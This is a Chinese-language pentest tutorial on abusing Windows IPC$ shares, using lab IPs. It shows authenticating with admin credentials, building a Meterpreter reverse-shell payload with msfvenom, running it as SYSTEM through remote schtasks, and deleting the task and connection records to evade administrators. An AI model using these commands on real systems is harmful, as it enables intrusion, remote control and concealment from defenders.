IPC$简单介绍
IPC$(Internet Process Connection)是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可建立安全通道,并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
IPC$是winNT/2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接,winNT/2000在提供IPC$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$…),所有这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。
IPC$渗透价值
利用IPC$连接可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息,同时你可以向目标主机上传文件,并在目标主机中通过计划任务来执行特定脚本等等。
IPC$利用条件
(1) 139、445端口开启:ipc$连接可以实现远程登陆及对默认共享的访问,而139端口的开启表示netbios协议的应用,通139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的。
(2) 管理员开启了默认共享:默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(c$,d$,e$……)和系统目录wi nnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问
在IPC$的利用过程中经常会出现以下连接失败的原因:
-
你的系统不是NT或以上操作系统.
-
对方没有打开ipc$默认共享。
-
不能成功连接目标的139,445端口.
-
命令输入错误.
-
用户名或密码错误.
常见错误号如下:
-
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
-
错误号51,Windows 无法找到网络路径 : 网络有问题;
-
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
-
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$; 5.错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
-
错误号1326,未知的用户名或错误密码 : 原因很明显了;
-
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
-
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
IPC$基本使用
查看共享
在目标主机命令行下输入以下指令用于查看目标主机开启的共享:
net share
建立连接
之后在攻击主机中使用以下命令进行IPC$远程连接:
net use \\\\\\\\192.168.188.140\\\\ipc$ \\\"1234Qwer!@#$\\\" /user:administrator
查看连接
之后在攻击主机中使用以下命令查看当前当前建立的连接:
net use
查看目录
在使用net use命令与远程目标机器建立IPC$之后,可以使用dir命令列出远程主机中的文件,如下图所示:
dir \\\\\\\\192.168.188.149\\\\c$
查看进程
可以使用以下命令查看远程主机上运行的进程信息:
tasklist /S 192.168.188.140 /U Administrator /P 1234Qwer!@#$
计划任务
at是Windows自带的用于创建任务的命令,它主要工作在WIndows server 2008之前版本的操作系统中,使用at命令在远程目标主机上创建计划任务的流程大致如下:
-
使用net time命令确定远程机器的当前时间
-
使用copy命令将payload文件复制到远程目标机器中
-
使用at/schtasks命令启动该payload文件
-
删除使用at/schtasks命令创建计划任务的记录
在使用at命令在远程机器上创建计划任务之前,还需要使用net use命令建立IPC$,下面对上面的过程做一个简单的演示:
(1)查看目标系统时间
net time \\\\\\\\192.168.188.140
(2)将文件复制到目标系统中
首先,我们需要在MSF中生成攻击者载荷:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f exe > shell.exe
之后再msf设置监听:
之后将shell.exe复制目标主机中:
copy shell.exe \\\\\\\\192.168.188.140\\\\C$
之后可以在目标系统的C盘中看到成功上传的shell.exe文件:
(3)使用schtasks命令创建计划任务
使用at命令让目标主机在指定的时间(22:22)运行一个程序:
#创建一个在22:22运行的计划任务
schtasks /create /tn \\\"test\\\" /tr c:\\\\shell.exe /s 192.168.188.140 /sc once /st 22:22 /ru system /f /u administrator /p \\\"1234Qwer!@#$\\\"
#创建计划任务之后,如果时间间隔太长不想等,可以立即运行后门程序
schtasks /run /tn \\\"test\\\" /s 193.168.188.140 /u administrator /p \\\"1234Qwer!@#$\\\"
之后在MSF渗透框架中成功反弹shell回来:
目标主机中的计划任务信息:
(4)删除计划任务记录
计划任务不会随着它本身的执行而被删除,所以网络管理员可以通过攻击者创建的计划任务获知网络遭受了攻击,但是一些攻击者会清除自己创建的计划任务,例如:
schtasks /delete /s 192.168.188.140 /tn \\\"test\\\" /f
计划任务成功被删除:
虽然计划任务被移除了,但是MSF中的shell不会掉线:
(5)删除IPC$记录
于此同时,我们还需要删除创建的IPC$记录:
net use \\\'名称\\\' /del /y
在删除ipc$时,要确认删除的是自己创建的ipc$,在使用schtasks命令时会在系统中留下日志文件C:\\\\windows\\\\tasks\\\\schedlgu.txt,如果只选schtasks命令后没有回显,可以配置ipc$执行文件,使用type命令远程查看执行结果。
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34313.html